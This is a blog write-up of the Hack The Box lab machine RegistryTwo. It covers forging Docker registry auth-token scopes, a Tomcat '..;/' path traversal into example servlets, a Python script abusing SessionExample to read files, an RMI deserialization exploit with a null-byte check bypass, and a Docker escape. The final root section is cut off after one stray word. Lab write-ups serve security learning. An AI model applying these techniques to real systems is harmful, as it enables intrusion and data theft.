> For the complete documentation index, see [llms.txt](https://samfisher91.gitbook.io/samfisher-blog/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://samfisher91.gitbook.io/samfisher-blog/registrytwo-htb.md).
# RegistryTwo - HTB
https\://app.hackthebox.com/machines/552
**First of all, I won't go into deep detail for every step. Sometimes I'll skip certain aspects, but my focus will be on delivering the exploit, vulnerability, and how to exploit them efficiently. This will be a quick and concise writeup."**
## 
## #Foothold
First lets start with port 5001
**With fuzzing the web dirs ,we can find /auth**
**you can refer back to the docker registry documentation** [**HERE**](https://docs.docker.com/registry/spec/auth/) **for further details**
**also specifically** [**HERE**](https://docs.docker.com/registry/spec/auth/token/) **will tell you what to do with the token ,but first it required more modifications in order to access the docker registry image and pull it.**
```
"token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsImtpZCI6IlFYNjY6MkUyQTpZT0xPOjdQQTM6UEdRSDpHUVVCOjVTQk06UlhSMjpUSkM0OjVMNFg6TVVZSjpGSEVWIn0.eyJpc3MiOiJBY21lIGF1dGggc2VydmVyIiwic3ViIjoiIiwiYXVkIjoiIiwiZXhwIjoxNjkxMTk1MzMwLCJuYmYiOjE2OTExOTQ0MjAsImlhdCI6MTY5MTE5NDQzMCwianRpIjoiNzI2OTY2MzEyOTQ3MjA0MTI5NyIsImFjY2VzcyI6W119.bgtox4TBEcH_MuNR603paF72sKCIguXsBVKQplZDOqiokMqlEuizFpte4vqlfX_oVNwE_3xh4kU1Y7CERUsVzN8JMMbccgTV-95F1TVwnc1hoYe1w-6rSvHINHi-cGurHSirahbpxQy9iTc1VBNawx2m2sLTRQdFe7E-TTHSdaF0OwDYwtALmW2sCNc9quhRPkbi4c0YusJP0UYajt35WWfJnPbWtlDHlVrttsqvjHWEAQn29CpkvrKFrTI78VfzbVcYyZAoTGnWbqgGDtSLPccn7eyVeJlyTsfwY6gcHkuywi6LUEV7pEZ-R28hhQkBu4eb4EuJgcvLJNOciUTTqA"
```
**As per documentation we also need :**
```
Www-Authenticate:
```
**To craft your own token ,we used this added URL scope as the documentation suggest to access \_catalog**
[**`https://webhosting.htb:5001/auth?service=Docker%20registry&scope=registry:catalog:`**](https://webhosting.htb:5001/auth?service=Docker%20registry\&scope=registry:catalog:*)**`*`**
**Craft another token to get hosting-app image information**\
[**`https://webhosting.htb:5001/auth?service=Docker%20registry&scope=repository:hosting-app:pull`**](https://webhosting.htb:5001/auth?service=Docker%20registry\&scope=repository:hosting-app:pull)
Reading the image information will gives you a clue what web app they are using and alot of other information to find your way for the user foothold
Now we move to Port 443
Register with a new user then login
as we know previously they are using tomcat v9.0.2 ,referring to [HERE](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/tomcat) we find that website is vulnerable to Path Traversal (..;/)
Now we are able to access the application manager
Now we are able to access the example scripts which we can modify token sessions to access unavailable things
as you can see (s\_EditingMedia\_{tmpID}) ,u can get {tmpID} by creating a domain then try to write/edit the file index.html or any created file
i have automated the process by creating this simple python script
```
import requests
url_post = 'https://www.webhosting.htb/hosting/..;/examples/servlets/servlet/SessionExample'
user_input = input("File PATH: ")
headers_post = {
# Add the required headers here, including the 'Cookie' header
'Cookie': 'JSESSIONID={cookie}',
'Content-Type': 'application/x-www-form-urlencoded',
}
data = {
'dataname': 's_EditingMedia_{tmpID}',
'datavalue': user_input
}
# Disable SSL certificate verification by setting verify=False
response_post = requests.post(url_post, headers=headers_post, data=data, verify=False)
# Check the response status code
if response_post.status_code == 200:
print("Request was successful.")
else:
print(f"Request failed with status code: {response_post.status_code}")
```
just make sure to change {cookie} + {tmpID} to yours ,after you get successfully respond ,you can refresh the tmpID page to see the file ,also note you are able to modify the file with what ever you want if you have write access to that file.
now we can get the hosting.war that we found in previous docker registry image that we pulled
```
/usr/local/tomcat/webapps/hosting.war
```
view the webpage source ,and scroll down to ' value=atob(\```{BASE64}`)``
try to just get the {base64} and remove the rest ,and use base64 -d to > hosting.war file
after reading the source code ,we know we can set manager role
adding \&rmi.host={ip} and %00.htb to bypass the check
now we have to request anything through our created domain to trigger the RMI
i used [ermir ](https://github.com/hakivvi/ermir)tool ,and make sure your current java version is 11 in order for the payload and exploit to work, u can use below commands to list/change your java version
```
update-java-alternatives --list
update-java-alternatives --set java-1.11.0-openjdk-amd64
```
### **#Docker Escape**
after enumeration ,we can actually interact with the RMI server again to escape the docker
you will find all used tools in my repository
{% embed url="" %}
i brute force developer folder using Sec-List/Discovery/Web-Content/dirsearch.txt
and found a hidden file contain credentials
#### #Root - Privilege Escalation
za
